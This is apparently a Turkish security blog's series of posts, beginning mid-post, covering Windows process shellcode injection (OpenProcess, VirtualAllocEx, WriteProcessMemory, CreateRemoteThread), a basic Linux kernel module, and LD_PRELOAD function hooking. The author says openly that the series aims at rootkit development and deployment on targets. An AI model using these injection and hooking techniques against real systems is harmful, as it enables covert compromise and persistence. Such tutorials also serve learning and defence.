<p>Herşeyden önce bizim <strong>process</strong> içerisine bu <strong>shellcode</strong>‘u eklememiz için o <strong>process</strong>‘i açmamız gerekiyor.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HANDLE processwithpid = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
</code></pre></div></div>
<p><strong>Fonksiyon</strong>‘nun ne işe yaradığını açıklamak ile uğraşmayacağım ama ben merak ettim diyen varsa aşşağıya bu fonksiyonun windows tarafından açıklandığı dökümantasyonunu bırakıyorum :</p>
<p><a href="https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-openprocess">OpenProcess Win API</a></p>
<p><strong>HANDLE</strong>‘mizi oluşturup içerisine <strong>OpenProcess</strong>‘e 3. parametre olarak <strong>Inject</strong> olmak istediğimiz <strong>Process PID</strong>‘sini verip <strong>process</strong>‘imizi açıyoruz.</p>
<p>Bundan sonra <strong>VirtualAllocEx</strong> fonksiyonunu kullanarak oluşturduğumuz <strong>shellcode</strong>‘un boyutu kadar <strong>process</strong> içerisinde alan ayırıyoruz :</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> PVOID joinprocess = VirtualAllocEx(processwithpid, NULL, sizeof shellcode, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
</code></pre></div></div>
<p>Basit bir şekilde <strong>VirtualAllocEx</strong>‘in nasıl kullanıldığına ve parametrelerinin neler olduğuna bakmak isteyen olursa buradan ulaşabilir <strong>windows</strong> tarafından oluşturulmuş <strong>dökümantasyonuna</strong> :</p>
<p><a href="https://docs.microsoft.com/en-us/windows/desktop/api/memoryapi/nf-memoryapi-virtualallocex">VirtualAllocEx Win API</a></p>
<p>Şimdi sıra geldi bu <strong>process</strong> içerisinde oluşturduğumuz <strong>alan</strong>‘ın içerisine bizim <strong>shellcode</strong>‘umuzu yazmaya yani <strong>Inject</strong> etmeye :</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> WriteProcessMemory(processwithpid, joinprocess, shellcode, sizeof shellcode, NULL);
</code></pre></div></div>
<p>Bunuda <strong>WriteProcessMemory</strong> ile yapabiliyoruz. <strong>Windows</strong> tarafından oluşturulmuş <strong>dökümantasyonuna</strong> ulaşmak için :</p>
<p><a href="https://docs.microsoft.com/en-us/windows/desktop/api/memoryapi/nf-memoryapi-writeprocessmemory">WriteProcessMemory Win API</a></p>
<p>Şimdi bir <strong>thread</strong> oluşturup tüm bu yukarıda gerçekleştirdiğimiz işlemleri gerçekleştirmeye geldi sıra :</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> HANDLE threadhandler = CreateRemoteThread(processwithpid, NULL, 0, (LPTHREAD_START_ROUTINE)joinprocess, NULL, 0, NULL);
</code></pre></div></div>
<p>Bunuda <strong>CreateRemoteThread</strong> fonksiyonu ile yapabiliyoruz onunda <strong>windows</strong> tarafından oluşturulmuş <strong>dökümantasyonuna</strong> buradan ulaşabilirsiniz :</p>
<p><a href="https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-createremotethread">CreateRemoteThread Win API</a></p>
<p>Ve son olarak bu thread’i kapamaya geldi sıra :</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> CloseHandle(processwithpid);
</code></pre></div></div>
<p>Yukarıda ki tüm kodların birleşimine buradan ulaşıp derleyebilirsiniz : <a href="https://pastebin.com/1gPb1PAM">Pastebin</a></p>
<p># Demo</p>
<p><strong>Derledikten</strong> sonra nasıl çalışıp <strong>putty</strong> içerisine <strong>shellcode</strong> <strong>injection</strong> ettiğimizi gösteren küçük bir gizli youtube videosu :</p>
<p><a href="https://youtu.be/oaNvWM9k84g">Demo Video</a></p>
<p>Yazı hakkında aklınızda soru işareti varsa twitter hesabım : <a href="https://www.twitter.com/0DAYanc">@0DAYanc</a></p>Process Shellcode InjectionLoadable Kernel Module Development2019-04-22T00:00:00+00:002019-04-22T00:00:00+00:00blacknbunny.github.io/2019/04/22/loadable-kernel-module<h1 id="loadable-kernel-module-lkm">Loadable Kernel Module (LKM)</h1>
<p>Merhaba arkadaşlar. <strong>Loadable Kernel Module (LKM)</strong> yazıma hoşgeldiniz.</p>
<p>Bu yazımda sizlere <strong>Yüklenebilir Çekirdek Modülünün</strong> yani <strong>LKM</strong>‘nin geliştirilmesinden bahsedeceğim. Dürüst olursam benim bu, önceki ve ilerideki gelecek yazılarımdan bahsetmiş ve bahsedecek olma sebebim rootkit geliştirebilesiniz diye ama insanlık adına kullanacağım diyen olursa oda kabulumdur.</p>
<p><strong>LKM</strong> rootkit geliştirilmesinin en basit yoludur ayrıca bu karşısında basitçe savunma kurabileceğiniz bir yoldur. İşletim sisteminde bir kere root alındıktan sonra rootkit bu yetkiyi kontrol etmenin en iyi yoludur. Bunuda ek bilgi olarak verdiğime göre artık yazımıza geçip <strong>LKM</strong>‘nin nasıl yazıldığından bahsedelim.</p>
<p><strong>LKM</strong>‘yi <strong>kernel</strong> yani <strong>çekirdek</strong> için bir eklenti olarak düşünebiliriz ayrıca <strong>LKM</strong> size bulunduğunuz yetkiler ile <strong>kernel</strong> içerisinde kod çalıştırmanızı sağlar. <strong>LKM</strong> az çok kafanızda bunun ne olduğu canlandıysa devam edelim.</p>
<h1 id="i̇lk-yüklenebilir-çekirdek-modülümüz">İlk Yüklenebilir Çekirdek Modülümüz</h1>
<p>Bu modülü yazmadan önce bize kütüphanelerimiz gerek her programda olduğu gibi :</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>#include <linux/module.h>
#include <linux/init.h>
</code></pre></div></div>
<p>Bu kısımdan sonra bu modül hakkında bilgileri verdiğimiz kısım geliyor :</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>MODULE_AUTHOR("blacknbunny");
MODULE_DESCRIPTION("Basit Merhaba Dunya Modulu");
MODULE_LICENSE("GPL");
</code></pre></div></div>
<p>Modülü kimin yazdığı, modül hakkında açıklama ve lisans yer alıyor bu kısımda.</p>
<p>Bu kısmıda anladığımıza göre biraz daha teknik bölüm olan yükleme kısmına gelelim :</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>static int __init merhaba_init(void)
{
printk("Merhaba Dünya!\n");
return 0;
}
</code></pre></div></div>
<p>Bu kısımda modülümüz kernel’e yüklendikten sonra çalışma aşamasında ne yapacağını belirliyor.</p>
<p>Fonksiyon tipimizi ve return tipini belirledikten sonra burada karşımıza çıkan farklı bir fonksiyon var oda <strong>printk</strong> fonksiyonu.</p>
<p>Bu fonksiyon adındanda anlaşılabileceği gibi kernel içerisinde yazdırma yapan bir fonksiyon bu. Daha da detaylı incelemek istiyorum diyen varsa aranızda buyurun <a href="https://en.wikipedia.org/wiki/Printk">Wikipedia printk</a>.</p>
<p>Kernel içerisinde modülümüz aracılığı ile “Merhaba Dünya” yazdırdık fakat her girişin bir çıkışıda vardır <strong>I/O</strong> mantığı gibi düşünün. Günün sonunda bunu nasıl kernel içerisine install edeceğimizi göreceğin <strong>insmod</strong> komutu ile yalnız bunu birde kernelin içinden çıkarmak var bunuda <strong>rmmod</strong> ile yapabiliyoruz.</p>
<p>Rootkitimizi karşıdaki sisteme yükleyip uçup kaçtıktan sonra bu rootkit modülünü sistemden çıkartmamız gerekebilir. O zamanda rootkit içerisinde bir çıkış fonksiyonunun bulunması gerekebilir tabi bu basit bir <strong>LKM</strong> olduğundan detaya girmiyorum.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>static void __exit merhaba_exit(void)
{
printk("Hello world kernelden cikartiliyor.\n");
return;
}
</code></pre></div></div>
<p>Bu şekilde de modülümüzü kernel içerisinden <strong>Unload</strong> edebiliyoruz. Şimdi geldi son kodumuza tüm bu <strong>__init</strong> ve <strong>__exit</strong> fonksiyonlarını modül içine yüklemeye :</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>module_init(merhaba_init);
module_exit(merhaba_exit);
</code></pre></div></div>
<p>Ve <strong>module_init</strong> ile yüklenmenin <strong>module_exit</strong> ilede çıkarılmanın gerçekleştiğini görebiliyoruz.</p>
<p>Şimdi geriye kalan tüm bu kodu birleştirip bir adet <strong>Makefile</strong> dosyası oluşturup <strong>make</strong> komutu ile derlemek.</p>
<p>Alttaki <strong>LKM</strong>‘yi <strong>merhaba.c</strong> olarak kaydettiğinizi varsayıyorum.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>#include <linux/module.h>
#include <linux/init.h>
MODULE_AUTHOR("blacknbunny");
MODULE_DESCRIPTION("Basit Merhaba Dunya Modulu");
MODULE_LICENSE("GPL");
static int __init merhaba_init(void)
{
printk("Merhaba Dünya!\n");
return 0;
}
static void __exit merhaba_exit(void)
{
printk("Hello world kernelden cikartiliyor.\n");
return;
}
module_init(merhaba_init);
module_exit(merhaba_exit);
</code></pre></div></div>
<h1 id="make-ile-lkm-derlenmesi">Make ile LKM derlenmesi</h1>
<p>Bu modülü derlemek içinde komut satırımızdan yada bir pad ile <strong>Makefile</strong> adında bir dosya oluşturup içine eklememiz lazım.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>obj-m += merhaba.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
</code></pre></div></div>
<p>Derlemeyi gerçekleştirmek için alttaki komut satırında gerçekleştirdiğim komutları kullanabilirsiniz.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>remnux@remnux:~/heyhey$ ls
Makefile merhaba.c
remnux@remnux:~/heyhey$ make
make -C /lib/modules/3.13.0-53-generic/build M=/home/remnux/heyhey modules
make[1]: Entering directory `/usr/src/linux-headers-3.13.0-53-generic'
CC [M] /home/remnux/heyhey/merhaba.o
Building modules, stage 2.
MODPOST 1 modules
CC /home/remnux/heyhey/merhaba.mod.o
LD [M] /home/remnux/heyhey/merhaba.ko
make[1]: Leaving directory `/usr/src/linux-headers-3.13.0-53-generic'
</code></pre></div></div>
<p><strong>make</strong> komutu sonrasında tekrar <strong>ls</strong> komutunu çalıştırdığımızda klasörümüzdeki dosya sayısının arttığını görebiliriz :</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>remnux@remnux:~/heyhey$ ls
Makefile merhaba.ko merhaba.mod.o modules.order
merhaba.c merhaba.mod.c merhaba.o Module.symvers
remnux@remnux:~/heyhey$
</code></pre></div></div>
<p>Bu dosyaların arasından bizim modülümüz <strong>merhaba.ko</strong>. Bu modülü kernel içerisine <strong>load</strong> edebilmemiz yani yükleyebilmemiz için başta da bahsettiğimiz <strong>insmod</strong> komutunu kullanmamız gerekli.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>remnux@remnux:~/heyhey$ insmod ./merhaba.ko
insmod: ERROR: could not insert module ./merhaba.ko: Operation not permitted
remnux@remnux:~/heyhey$ sudo insmod ./merhaba.ko
remnux@remnux:~/heyhey$ dmesg | tail -n 1
[ 6350.260783] Merhaba D\xffffffc3\xffffffbc\xffffffbcnya!
remnux@remnux:~/heyhey$
</code></pre></div></div>
<p><strong>insmod</strong> ile bunu kernele yükleyip <strong>dmesg</strong> ile incelediğimizde kernelde bize gelen <strong>Merhaba Dünya</strong> çıktısını görebiliriz. Yalnız kernel içerisinde türkçe karakter kullanımı mevcut olmadığından ve size bunuda ek olarak göstermek istediğimden çıktıyı <strong>hex code</strong>‘ları ile almış bulunuyoruz.</p>
<p>Modülümüzün sağlıklı şekilde çalıştığını gözlemledik ve eğer bu modülü silmek istiyorsak <strong>rmmod</strong> komutunu kullanabiliriz :</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>remnux@remnux:~/heyhey$ sudo rmmod merhaba
remnux@remnux:~/heyhey$ dmesg | tail -n 1
[ 6593.845495] Hello world kernelden cikartiliyor.
remnux@remnux:~/heyhey$
</code></pre></div></div>
<p>Ve çıkartılma sonucunda bizim modülümüz içerisinde belirlediğimiz <strong>__exit</strong> fonksiyonu çalıştı.</p>
<p>Eğer modülleri listelemek istiyorsanız <strong>lsmod</strong> komutunu kullanabilirsiniz örneğin :</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>remnux@remnux:~/heyhey$ lsmod | grep merhaba
merhaba 12427 0
remnux@remnux:~/heyhey$
</code></pre></div></div>
<p>Bu yazımızda basit bir şekilde <strong>LKM</strong> yani <strong>Yüklenebilir Çekirdek Modülünü</strong> en basit şeklinde geliştirmeyi öğrendik.</p>
<p>Bir daha ki yazımda büyük ihtimal <strong>sys_call_table hijacking</strong> anlatacağım.</p>
<p>Sonra ki yazılarda da artık bir rootkit yazarız diye düşünüyorum. Kendinize iyi bakın görüşmek dileği ile !</p>Loadable Kernel Module (LKM)Linux Function Hooking2019-04-14T00:00:00+00:002019-04-14T00:00:00+00:00blacknbunny.github.io/2019/04/14/Linux-Function-Hooking<h1 id="linux-load-time-function-hooking">Linux Load-Time Function Hooking</h1>
<p>Uzun bir süreden sonra bloguma yazı yazıyorum. 2019’un ilk blog yazısı olacak umarım yazıyı beğenirsiniz.</p>
<p>Öncelikle işi fazla komplekste itmeden size başlıktaki bazı terimleri açıklayarak başlamak istiyorum.</p>
<blockquote>
<ul>
<li><strong>Load-Time : Bir yazılım çalışmaya başlamadan önce bir yüklenme zamanı vardır. Program tam olarak çalışabilir hale gelene kadar gereksinimlerini kendine yükler örneğin (Libraries, Memory Regions)</strong></li>
</ul>
</blockquote>
<blockquote>
<ul>
<li><strong>Function Hooking : Yazılım içerisinde verilen bir fonksiyonu sahte bir fonksiyonla değiştirmek, düzenlemek.</strong></li>
</ul>
</blockquote>
<p>Anlamakta biraz zorlandıysanız hiç problem değil ileri de bu terimleri daha da detaylı inceleyeceğiz.
<br /></p>
<hr />
<h1 id="bir-yazılımın-kullandığı-syscalları-görmek">Bir yazılımın kullandığı syscalları görmek</h1>
<p>Yazılım içerisinde kullanılan sistem çağrılarını(syscalls) görmek için linuxta çoğunluk tarafından kullanılan <strong>strace</strong> binarysini kullanabilirsiniz.
<strong>strace</strong> çalıştıktan sonra örnek bir çıktı :</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>remnux@remnux:~/hoq$ strace ./ornek
execve("./ornek", ["./ornek"], [/* 53 vars */]) = 0
brk(0) = 0x61f000
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f8786da4000
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=108273, ...}) = 0
mmap(NULL, 108273, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7f8786d89000
close(3) = 0
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
open("/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\320\37\2\0\0\0\0\0"..., 832) = 832
fstat(3, {st_mode=S_IFREG|0755, st_size=1840928, ...}) = 0
mmap(NULL, 3949248, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f87867bf000
mprotect(0x7f878697a000, 2093056, PROT_NONE) = 0
mmap(0x7f8786b79000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1ba000) = 0x7f8786b79000
mmap(0x7f8786b7f000, 17088, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7f8786b7f000
close(3) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f8786d88000
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f8786d86000
arch_prctl(ARCH_SET_FS, 0x7f8786d86740) = 0
mprotect(0x7f8786b79000, 16384, PROT_READ) = 0
mprotect(0x600000, 4096, PROT_READ) = 0
mprotect(0x7f8786da6000, 4096, PROT_READ) = 0
munmap(0x7f8786d89000, 108273) = 0
fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 2), ...}) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f8786da3000
write(1, "Hello world !\n", 14Hello world !
) = 14
exit_group(14) = ?
+++ exited with 14 +++
</code></pre></div></div>
<hr />
<h1 id="başlangıç">Başlangıç</h1>
<p>Şimdi linuxu açıp aşşağıda bulunan kodu derlediğimizi var sayıyorum :</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>#include <stdio.h>
int main(){
puts("Hello world !");
}
</code></pre></div></div>
<p>Derleme : <code class="language-plaintext highlighter-rouge">gcc ornek.c -o ornek</code></p>
<p>Şimdi bizim yapacağımız şey bu <strong>puts</strong> fonksiyonunu çalışma <strong>zamanında(load-time)</strong> verdiğimiz sahte <strong>puts</strong> ile değiştirmek. Böylelikle programda yazan <strong>fonksiyon</strong> değil bizim yazdığımız <strong>fonksiyon</strong> çalışıcak.</p>
<hr />
<h1 id="fonksiyonu-hook-etmek-için-gerekli-kütüphanenin-yazılması">Fonksiyonu hook etmek için gerekli kütüphanenin yazılması</h1>
<p>Kütüphanelerimizi ekleyerek başlayalım :</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>
</code></pre></div></div>
<p>Sonra hangi fonksiyonu hooklayacağımızı belirleyelim :</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>int puts(const char *message) {
}
</code></pre></div></div>
<p>Burada verilen fonksiyon ve parametreler çok önemli hook edeceğiniz fonksiyonun parametresini ve tipini vermemiz gerek.</p>
<p>Sonrasında orjinal fonksiyonun sahtesini oluşturmamız gerekiyor.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>int (*new_puts)(const char *message);
</code></pre></div></div>
<p>Ve meşhur <strong>dlsym</strong> fonksiyonuna geldik. Başta eklediğim <strong>dlfcn.h</strong> library’sinden gelen bu küçük ama işlevi <strong>Function hooking’de</strong> çok büyük olan bu fonksiyonu anlatmaya başlayalım</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>new_puts = dlsym(RTLD_NEXT, "puts");
</code></pre></div></div>
<p>Bu fonksiyon iki adet argüman alıyor. Bunlardan ilki olan <strong>RTLD_NEXT</strong> enum’u <strong>dynamic loader API</strong> kısmına 2. argüman ile bağlantılı bir sonraki örneğe dönmesini söylüyor. Son argüman ise dönülecek örneğin ismini istiyor ve buda bizim yerine sahtesini koyacağımız <strong>puts</strong> fonksiyonu.</p>
<p>Ve son olarak :</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>return new_puts("Hooked Message");
</code></pre></div></div>
<p>İle kütüphanemizi yazıyoruz ve <strong>libornek.c</strong> adıyla kaydediyoruz. Şimdi sıra geldi bu kütüphaneyi oyunda asıl yeri alan <strong>LD_PRELOAD</strong> ortam değişkenine(enviroment variable) atamaya.</p>
<p>Ondan öncesinde tüm bu kütüphanenin bütün kodlarını isteyen olursa : <a href="https://pastebin.com/RwB0RzXm">Pastebin</a></p>
<p>Burada ki pastebin linkinden ulaşabilir bu yukarıda anlatılan tüm kodların birleşimine.</p>
<hr />
<h1 id="kütüphanenin-derlenmesi-ve-ld_preloada-aktarılması">Kütüphanenin derlenmesi ve LD_PRELOAD’a aktarılması</h1>
<p>Temiz bir şekilde derlemek için alttaki gcc parametreleriyle beraber kullanmamız gerekiyor.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc libornek.c -o libornek.so -fPIC -shared -ldl -D_GNU_SOURCE
</code></pre></div></div>
<p>Derlemeden sonra klasörünüze <strong>libornek.so</strong> adında bir kütüphane eklenecektir.</p>
<p>Şimdi bu yazdığımız kütüphaneyi <strong>LD_PRELOAD</strong> ortam değişkenine atıp önceden yazdığımız <strong>ornek.c</strong> yazılımını manipule etmemiz için alttaki komut satırında gerçekleştirdiğim işlemi yapınız.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>remnux@remnux:~/hoq$ ls
libornek.c libornek.so ornek ornek.c
remnux@remnux:~/hoq$ pwd
/home/remnux/hoq
remnux@remnux:~/hoq$ export LD_PRELOAD="/home/remnux/hoq/libornek.so"
</code></pre></div></div>
<p>Export ile <strong>LD_PRELOAD</strong> ortam değişkenine kütüphanemizi aktardığımıza göre bu ortam değişkeninin ne olduğundan bahsedebiliriz.</p>
<p>Bu ortam değişkeni yani <strong>enviroment variablesi</strong> linux içerisinde çoook meşhurdur. Hani bahsetmiştik ya bir yazılım çalıştırdığımız da o yazılım önce <strong>(Library, Memory Regions)</strong> gibi bölümleri yükler diye.</p>
<p>İşte bu <strong>LD_PRELOAD</strong> ortam değişkeni çalışan yazılımın başladığı anda bizim verdiğimiz kütüphaneyi içine almasını sağlıyor böyleliklede yazılımları manipule edebiliyoruz.</p>
<p><strong>LD_PRELOAD</strong> değişkenine kütüphanemiz atanmadan önce <strong>ornek.c</strong> :</p>
<p><a href="https://pastebin.com/dKF6DVrU">Pastebin</a></p>
<p>Atandıktan sonra :</p>
<p><a href="https://pastebin.com/6vnbTiR5">Pastebin</a></p>
<p>Aradaki farkı incelersek görebiliriz ki :</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0x7ffff7bd8000 0x7ffff7bd9000 0x1000 0x0 /home/remnux/hoq/libornek.so
</code></pre></div></div>
<p><strong>LD_PRELOAD</strong> ortam değişkenine libornek.so atandıktan sonra <strong>ornek.c</strong> yazılımı içerisinede her çalışmada enjekte oluyor.</p>
<hr />
<h1 id="the-end">THE END</h1>
<p>Tüm bu olanlardan öncesi ve sonrasında ne değiştiğini görmek istersek şayet :</p>
<p><strong>ornek.c</strong></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>#include <stdio.h>
int main(){
puts("Hello world !");
}
</code></pre></div></div>
<p>Burada puts “Hello World” yazdır demesine rağmen içerisine enjekte ettiğimiz kütüphane bunu manipule ediyor ve biz bunu çalıştırmak istediğimiz de “Hello World” yerine oluşturduğumuz <strong>libornek.c</strong> kütüphanesinde yaptığımız manipule teknikleri ile eklediğimiz “Yeni Mesaj” çıktısı geliyor.</p>
<p>Öncesi :</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>remnux@remnux:~/hoq$ ./ornek
Hello world !
remnux@remnux:~/hoq$
</code></pre></div></div>
<p>Function hooking işlemini yazdığımız kütüphaneyi <strong>LD_PRELOAD</strong>‘a attıktan sonrası:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>remnux@remnux:~/hoq$ export LD_PRELOAD="/home/remnux/hoq/libornek.so"
remnux@remnux:~/hoq$ ./ornek
Yeni mesaj
remnux@remnux:~/hoq$
</code></pre></div></div>
<p>Umarım yazıyı beğenmişsinizdir ve açıklayabilmişimdir <strong>Function Hooking</strong>, <strong>Load-Time</strong>, <strong>LD_PRELOAD</strong> vs.. gibi terimleri. İyi günler.</p>Linux Load-Time Function Hooking